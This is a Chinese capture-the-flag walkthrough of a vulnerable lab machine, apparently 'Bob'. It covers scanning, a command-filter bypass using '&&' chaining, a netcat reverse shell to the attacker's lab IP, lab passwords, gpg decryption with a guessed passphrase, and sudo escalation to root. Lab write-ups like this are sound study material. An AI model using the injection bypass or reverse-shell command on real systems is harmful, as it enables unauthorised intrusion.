1.信息收集
端口扫描:
web枚举:
nmap扫描到robots.txt文件,查看文件内容:
依次查看网页,除了login.php无法访问,其他页面如下:
2.绕过过滤获取反弹shell
重点看一下这个dev_shell,它把很多命令都过滤了,比如nc,ls等。
但是经过测试,如果先输入未过滤命令,再加上&&,后面的命令就没有被过滤,可以被执行。
利用nc反弹shell:
echo && nc 192.168.71.129 4444 -e /bin/bash
3.提权
当前权限为www-data用户。
进入/home文件夹查看各个用户的目录:
在bob的目录下发现.old_passwordfile.html文件,发现jc和seb用户的密码。
jc:Qwerty
seb:T1tanium_Pa$$word_Hack3rs_Fear_M3
继续查看bob文件夹,发现了一个文档:
此外,在bob目录下还有一个gpg文件,gpg是linux下的加密文件格式,需要密钥才能解密文件。
后来发现文件的密钥是notes.sh文件内容的藏头,即HARPOCRATES,它是希腊的神的名字。= =!这尼玛对东方人不懂希腊神话的不友好啊。
用以下命令解密文件:
gpg --batch --passphrase HARPOCRATES -d login.txt.gpg
解密出了bob用户的账密信息bob:b0bcat_
登录bob账号,查看权限列表:
bob拥有全部的执行权限,那就好办了,直接sudo su:
然后在/目录下找到flag
4.总结
这个靶机的风格和以前做的还是挺不一样的,感觉有很多类似社工的文件给出,也有一些迷惑项,比如它给出了很多用户,甚至给了这些用户的密码,但是并没有卵用。还有一些看似有用实则没用的文件,最后证明只有bob用户的那个加密文件才能真正提权,所以本文里省略了登录其他用户账户分析的过程。
主要考察以下知识点:
- linux命令基础——绕过命令过滤;
- gpg文件解密;
- 观察猜测密码的耐心。